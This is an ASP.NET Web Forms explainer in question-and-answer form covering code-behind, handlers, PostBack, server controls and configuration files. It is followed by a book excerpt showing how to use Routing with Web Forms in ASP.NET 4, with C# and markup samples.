The code behind feature divides ASP.NET page files into two files where one defines the user interface (.aspx), while the other contains all of the logic or code (.aspx.cs for C# and .aspx.vb for VB.NET). These two files are glued together with page directives like the following line, which ties the page to the specific code behind class.

<%@ Page language="c#" Codebehind="UICode.cs" Inherits="Library.UICode" %>

What are ASHX files?

ASP.NET Web handler files have an .ashx file extension. Web handlers work just like .aspx files except you don't have to deal with the browser interface, thus no worrying about presentation. Web handlers are generally used to generate content dynamically like returning XML or an image. Web handlers use the IHttpHandler interface with the ProcessRequest() method invoked when the handler is requested. Web handlers are simpler than pages (fewer events and wiring), so they are ideal for performance-critical applications.

How does PostBack work?

PostBack is basically the ASP.NET submitting a form to it -- it posts back to the current URL. The JavaScript \_\_doPostBack function is placed on the page (look at the source within the browser) to facilitate. PostBack uses ViewState to remember controls and data. The IsPostBack property of the ASP.NET page allows you to determine if the loading of the page is the result of a postback event; this is done in the Page\_Load event.

How can you pass values between ASP.NET pages?

There are numerous ways to accomplish this task; the option you choose depends on the environment. The oldest way to approach it is via the QueryString (i.e., passing values via URL); this is also one of the least secure ways because users can easily see the data and could possibly hack the site/page by changing parameter values. Next, you can use HTTP POST to pass values; these are available via a collection within the ASP.NET page. More specific to ASP.NET is the use of Session state, which makes information available to all pages within the ASP.NET application. Another approach is using public properties on the source page and accessing these properties on the target page. Also, you can use the PreviousPage property of the current page to access control information on the referring page. The last two require the source, and target pages are within the same ASP.NET application.

What are ASP.NET Server controls?

ASP.NET includes a number of built-in server controls that are the foundation of its Web programming model. They have various properties to control their behavior and appearance. These controls provide an event model where events are handled on the server (whereas HTML controls are handled in the client). Server controls have the ability to maintain state (via ViewState) across requests, and they can automatically detect the browser. With these controls, you will see the RunAt attribute (RunAt="Server") that signals its processing will be done on the server. A good example of these controls is the basic TextBox control (<ASP:TextBoxRunAt="Server" .... >.

What is the global.asax file?

The global.asax file is an optional piece of an ASP.NET application. It is located in the root of the application directory structure. It cannot be directly loaded or requested by users. It provides a place to define application- and session-wide events. You can define your own events, but it does contain default Application events like when the application starts Application\_Start and ends with Application\_End. The same is true for Session events (Session\_Start and Session\_End).

How can you loop through all controls on an ASP.NET Web form?

You can easily traverse all controls on a form via the Web Form's Controls collection. The GetType method can be used on each control to determine its type and how to work with it. Now, it gets tricky because the form contains a tree of controls; that is, some controls are contained within others (think of a Table). You would have to recursively loop through the controls to make sure everything is processed.

What is a web.config file? Machine.config?

The web.config is the basic configuration file for ASP.NET applications. It utilizes an XML format. It is used to define application settings, connection strings, and much more. These files can appear in multiple directories, and they are applied in a top-down approach; that is, configuration files apply to their container directory as well as all directories below it, but the configuration files in lower directories can override those in parent directories. This provides a way to granularly apply settings. The machine.config file contains ASP.NET settings for all of the applications on the server -- it is at the top of the configuration file hierarchy, thus web.configs can override it.

### USING ROUTING WITH WEB FORMS

Although the main focus of this book is on ASP.NET MVC, Routing is a core feature of ASP.NET, so you can use it with Web Forms as well. This section looks at ASP.NET 4, because it includes full support for Routing with Web Forms.

In ASP.NET 4, you can add a reference to System.Web.Routing to your Global.asax and declare a Web Forms route in almost the exact same format as an ASP.NET MVC application:

void Application\_Start(object sender, EventArgs e)

{

RegisterRoutes(RouteTable.Routes);

}

private void RegisterRoutes(RouteCollection routes)

{

routes.MapPageRoute(

"product-search",

"albums/search/{term}",

"~/AlbumSearch.aspx");

}

The only real difference from an MVC route is the last parameter, in which you direct the route to a Web Forms page. You can then use Page.RouteData to access the route parameter values, like this:

protected void Page\_Load(object sender, EventArgs e)

{

string term = RouteData.Values["term"] as string;

Label1.Text = "Search Results for: " + Server.HtmlEncode(term);

ListView1.DataSource = GetSearchResults(term);

ListView1.DataBind();

}

You can use Route values in your markup as well, using the <asp:RouteParameter> object to bind a segment value to a database query or command. For instance, using the preceding route, if you browsed to /albums/search/beck, you can query by the passed route value using the following SQL command:

<asp:SqlDataSource id="SqlDataSource1" runat="server"

ConnectionString="<%$ ConnectionStrings:Northwind %>"

SelectCommand="SELECT \* FROM Albums WHERE Name LIKE @searchterm + '%'">

<SelectParameters>

<asp:RouteParameter name="searchterm" RouteKey="term" />

</SelectParameters>

</asp:SqlDataSource>

You can also use the RouteValueExpressionBuilder to write out a route parameter value a little more elegantly than just writing out Page.RouteValue[“>key”]. If you want to write out the search term in a label, you can do the following:

<asp:Label ID="Label1" runat="server" Text="<%$RouteValue:Term%>" />

You can generate outgoing URLs for using the Page.GetRouteUrl() in code-behind logic method:

string url = Page.GetRouteUrl(

"product-search",

new { term = "chai" });

The corresponding RouteUrlExpressionBuilder allows you to construct an outgoing URL using Routing:

<asp:HyperLink ID="HyperLink1"

runat="server"

NavigateUrl="<%$RouteUrl:Term=Chai%>">

Search for Chai

</asp:HyperLink>